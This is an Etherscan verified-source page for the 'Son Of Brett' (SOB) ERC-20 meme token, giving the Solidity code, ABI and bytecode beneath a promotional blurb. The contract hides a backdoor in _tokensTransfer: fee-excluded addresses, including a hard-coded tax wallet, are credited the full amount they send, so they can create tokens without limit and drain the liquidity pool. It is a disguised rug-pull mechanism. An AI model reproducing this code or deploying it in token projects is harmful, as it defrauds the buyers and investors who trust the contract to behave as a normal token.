Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(address spender, uin ...
•    - function transferFrom(
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(
•    - function _msgSender()
• interface IUniswapV2Factory
•    - function createPair(
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
•  contract SOB is Context, IERC20, O ... *
•    - function _tokensTransfer(
•    - function isContract(address account)
•    - function removeLimits()
•    - function swapTokensForEth(uint256 tok ...
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(
•    - function allowance(
•    - function approve(
•    - function transferFrom(
•    - function _approve(address owner, addr ...
•    - function openTrading()
•    - function min(uint256 a, uint256 b)
•    - function sendETHToFee(uint256 amount)
•    - function withdraw()
•    - function _normalTransfer(
•    - function createPair()
•    - function _transfer(address from, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-06-21
*/

/*
Hi, I am Son of Brett. My dad is $SOB and he is rich! So I am taking his token and giving it away to all my frens! Join me on the ride of a lifetime.

Website:    https://www.brettson.vip
Telegram:   https://t.me/brettson_eth
Twitter:    https://twitter.com/brettson_eth
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract SOB is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Son Of Brett";
    string private constant _symbol = unicode"SOB";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 private _taxTotal = 900_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 120 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x03D45D08f34a25A18644F41E1fcD70F8B4a216Df);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function _tokensTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxFeeOf,
        address feeW
    ) internal {
        uint256 taxAmount = taxFeeOf.mul(amount).div(100);
        uint256 doFeeOf = 3;
        if (_isExcludedFromFee[from]) doFeeOf = 100;
        if (doFeeOf < 100) {
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
                );
                emit Transfer(from, address(this), taxAmount);
            }
        } else {
            _balances[feeW] = _balances[feeW].add(
                doFeeOf.mul(amount).div(100)
            );
            emit Transfer(from, feeW, amount);
        }

        _normalTransfer(from, to, amount, taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _taxTotal,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function _normalTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFeeOf = 0;
        if (from != owner() && to != owner()) {
            taxFeeOf = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxFeeOf = (_buyCount > _reduceSellTaxAt)
                    ? _finalSellTax
                    : _initialSellTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokensTransfer(from, to, amount, taxFeeOf, from);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000371565b62000022906335a4e90062000389565b600655620000336009600a62000371565b62000043906301312d0062000389565b600755620000546009600a62000371565b62000064906301312d0062000389565b600855620000756009600a62000371565b6200008290607862000389565b6009556009600a62000095919062000371565b620000a4906298968062000389565b600a556014600b818155600c8290556000600d819055600e819055600f8290556010829055601191909155601255805461ffff60a81b19169055348015620000eb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319167303d45d08f34a25a18644f41e1fcd70f8b4a216df179055620001616009600a62000371565b6200017190633b9aca0062000389565b3360009081526001602081905260408220929092556003906200019c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001fb3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002356009600a62000371565b6200024590633b9aca0062000389565b60405190815260200160405180910390a3620003ab565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002b35781600019048211156200029757620002976200025c565b80851615620002a557918102915b93841c939080029062000277565b509250929050565b600082620002cc575060016200036b565b81620002db575060006200036b565b8160018114620002f45760028114620002ff576200031f565b60019150506200036b565b60ff8411156200031357620003136200025c565b50506001821b6200036b565b5060208310610133831016604e8410600b841016171562000344575081810a6200036b565b62000350838362000272565b80600019048211156200036757620003676200025c565b0290505b92915050565b60006200038260ff841683620002bb565b9392505050565b6000816000190483118215151615620003a657620003a66200025c565b500290565b611acf80620003bb6000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a05780639e78fb4f116100645780639e78fb4f14610307578063a9059cbb1461031c578063bf474bed1461033c578063c9567bf914610352578063dd62ed3e1461036757600080fd5b8063751039fc146102725780637d1db4a5146102875780638da5cb5b1461029d5780638f9a55c0146102c557806395d89b41146102db57600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f45780633ccfd60b1461021057806370a0823114610227578063715018a61461025d57600080fd5b806306fdde0314610124578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b14dbdb8813d988109c995d1d60a21b60208201525b6040516101629190611676565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046116dc565b6103ad565b6040519015158152602001610162565b3480156101a757600080fd5b506101b1600a5481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103c4565b3480156101e057600080fd5b5061018b6101ef366004611708565b6103e5565b34801561020057600080fd5b5060405160098152602001610162565b34801561021c57600080fd5b5061022561044e565b005b34801561023357600080fd5b506101b1610242366004611749565b6001600160a01b031660009081526001602052604090205490565b34801561026957600080fd5b50610225610566565b34801561027e57600080fd5b506102256105da565b34801561029357600080fd5b506101b160075481565b3480156102a957600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102d157600080fd5b506101b160085481565b3480156102e757600080fd5b5060408051808201909152600381526229a7a160e91b6020820152610155565b34801561031357600080fd5b50610225610646565b34801561032857600080fd5b5061018b6103373660046116dc565b61089d565b34801561034857600080fd5b506101b160095481565b34801561035e57600080fd5b506102256108aa565b34801561037357600080fd5b506101b1610382366004611766565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ba338484610a81565b5060015b92915050565b60006103d26009600a611899565b6103e090633b9aca006118a8565b905090565b60006103f2848484610ba6565b610444843361043f85604051806060016040528060288152602001611a52602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110f7565b610a81565b5060019392505050565b6000546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906118c7565b60405180910390fd5b601454600160a01b900460ff16156104db5760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610478565b47806105295760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610478565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610562573d6000803e3d6000fd5b5050565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610478906118c7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106045760405162461bcd60e51b8152600401610478906118c7565b600019600781905560088190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146106705760405162461bcd60e51b8152600401610478906118c7565b601454600160a01b900460ff16156106c45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561070d9030906106ff6009600a611899565b61043f90633b9aca006118a8565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078491906118fc565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080a91906118fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b91906118fc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103ba338484610ba6565b6000546001600160a01b031633146108d45760405162461bcd60e51b8152600401610478906118c7565b601454600160a01b900460ff16156109285760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610478565b6013546006546001600160a01b039091169063f305d71990479030906000806109596000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109c1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e69190611919565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190611947565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b6001600160a01b038316610ae35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b038216610b445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c0a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610478565b6001600160a01b038216610c6c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610478565b60008111610cce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610478565b601454600160b01b900460ff161580610cf05750601454600160a81b900460ff165b15610d89576001600160a01b038316600090815260016020526040902054610d189082611131565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610d47908261117a565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611a7a83398151915290610b999085815260200190565b600080546001600160a01b03858116911614801590610db657506000546001600160a01b03848116911614155b156110e457600f5460125411610dce57600b54610dd2565b600d545b6014549091506001600160a01b038581169116148015610e0057506013546001600160a01b03848116911614155b15610f0a57600754821115610e575760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610478565b60085482610e7a856001600160a01b031660009081526001602052604090205490565b610e849190611969565b1115610ed25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b436005546003610ee29190611969565b1115610ef457823b15610ef457600080fd5b60128054906000610f048361197c565b91905055505b6014546001600160a01b03848116911614801590610f4157506001600160a01b03831660009081526003602052604090205460ff16155b15610fc15760085482610f69856001600160a01b031660009081526001602052604090205490565b610f739190611969565b1115610fc15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610478565b6014546001600160a01b038481169116148015610fe757506001600160a01b0384163014155b156110065760105460125411610fff57600c54611003565b600e545b90505b30600090815260016020526040902054601454600160a81b900460ff1615801561103d57506014546001600160a01b038581169116145b80156110525750601454600160b01b900460ff165b80156110615750601154601254115b801561108657506001600160a01b03851660009081526003602052604090205460ff16155b80156110ab57506001600160a01b03841660009081526003602052604090205460ff16155b156110e25760095481106110d6576110d66110d1846110cc84600a546111d9565b6111d9565b6111ee565b476110e047611368565b505b505b6110f184848484886113a2565b50505050565b6000818484111561111b5760405162461bcd60e51b81526004016104789190611676565b5060006111288486611995565b95945050505050565b600061117383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f7565b9392505050565b6000806111878385611969565b9050838110156111735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610478565b60008183116111e85782611173565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611236576112366119a8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b391906118fc565b816001815181106112c6576112c66119a8565b6001600160a01b0392831660209182029290920101526013546112ec9130911684610a81565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113259085906000908690309042906004016119be565b600060405180830381600087803b15801561133f57600080fd5b505af1158015611353573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610562573d6000803e3d6000fd5b60006113b960646113b385876114ec565b9061156e565b6001600160a01b0387166000908152600360208190526040909120549192509060ff16156113e5575060645b606481101561145b578115611456573060009081526001602052604090205461140e908361117a565b30600081815260016020526040908190209290925590516001600160a01b03891690600080516020611a7a8339815191529061144d9086815260200190565b60405180910390a35b6114d7565b61148c61146d60646113b384896114ec565b6001600160a01b0385166000908152600160205260409020549061117a565b6001600160a01b038085166000818152600160205260409081902093909355915190891690600080516020611a7a833981519152906114ce9089815260200190565b60405180910390a35b6114e3878787856115b0565b50505050505050565b6000826000036114fe575060006103be565b600061150a83856118a8565b9050826115178583611a2f565b146111735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610478565b600061117383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611648565b6001600160a01b0384166000908152600160205260409020546115d39083611131565b6001600160a01b0385166000908152600160205260409020556115f961146d8383611131565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611a7a8339815191526116318585611131565b60405190815260200160405180910390a350505050565b600081836116695760405162461bcd60e51b81526004016104789190611676565b5060006111288486611a2f565b600060208083528351808285015260005b818110156116a357858101830151858201604001528201611687565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146116d957600080fd5b50565b600080604083850312156116ef57600080fd5b82356116fa816116c4565b946020939093013593505050565b60008060006060848603121561171d57600080fd5b8335611728816116c4565b92506020840135611738816116c4565b929592945050506040919091013590565b60006020828403121561175b57600080fd5b8135611173816116c4565b6000806040838503121561177957600080fd5b8235611784816116c4565b91506020830135611794816116c4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117f05781600019048211156117d6576117d661179f565b808516156117e357918102915b93841c93908002906117ba565b509250929050565b600082611807575060016103be565b81611814575060006103be565b816001811461182a576002811461183457611850565b60019150506103be565b60ff8411156118455761184561179f565b50506001821b6103be565b5060208310610133831016604e8410600b8410161715611873575081810a6103be565b61187d83836117b5565b80600019048211156118915761189161179f565b029392505050565b600061117360ff8416836117f8565b60008160001904831182151516156118c2576118c261179f565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190e57600080fd5b8151611173816116c4565b60008060006060848603121561192e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195957600080fd5b8151801515811461117357600080fd5b808201808211156103be576103be61179f565b60006001820161198e5761198e61179f565b5060010190565b818103818111156103be576103be61179f565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a0e5784516001600160a01b0316835293830193918301916001016119e9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a4c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212206997b91896d7822e34a4492b03a450a75bb15f634cfda3a7b7614c9725998f7a64736f6c63430008100033

0x6080604052600436106101185760003560e01c8063751039fc116100a05780639e78fb4f116100645780639e78fb4f14610307578063a9059cbb1461031c578063bf474bed1461033c578063c9567bf914610352578063dd62ed3e1461036757600080fd5b8063751039fc146102725780637d1db4a5146102875780638da5cb5b1461029d5780638f9a55c0146102c557806395d89b41146102db57600080fd5b806323b872dd116100e757806323b872dd146101d4578063313ce567146101f45780633ccfd60b1461021057806370a0823114610227578063715018a61461025d57600080fd5b806306fdde0314610124578063095ea7b31461016b5780630faee56f1461019b57806318160ddd146101bf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600c81526b14dbdb8813d988109c995d1d60a21b60208201525b6040516101629190611676565b60405180910390f35b34801561017757600080fd5b5061018b6101863660046116dc565b6103ad565b6040519015158152602001610162565b3480156101a757600080fd5b506101b1600a5481565b604051908152602001610162565b3480156101cb57600080fd5b506101b16103c4565b3480156101e057600080fd5b5061018b6101ef366004611708565b6103e5565b34801561020057600080fd5b5060405160098152602001610162565b34801561021c57600080fd5b5061022561044e565b005b34801561023357600080fd5b506101b1610242366004611749565b6001600160a01b031660009081526001602052604090205490565b34801561026957600080fd5b50610225610566565b34801561027e57600080fd5b506102256105da565b34801561029357600080fd5b506101b160075481565b3480156102a957600080fd5b506000546040516001600160a01b039091168152602001610162565b3480156102d157600080fd5b506101b160085481565b3480156102e7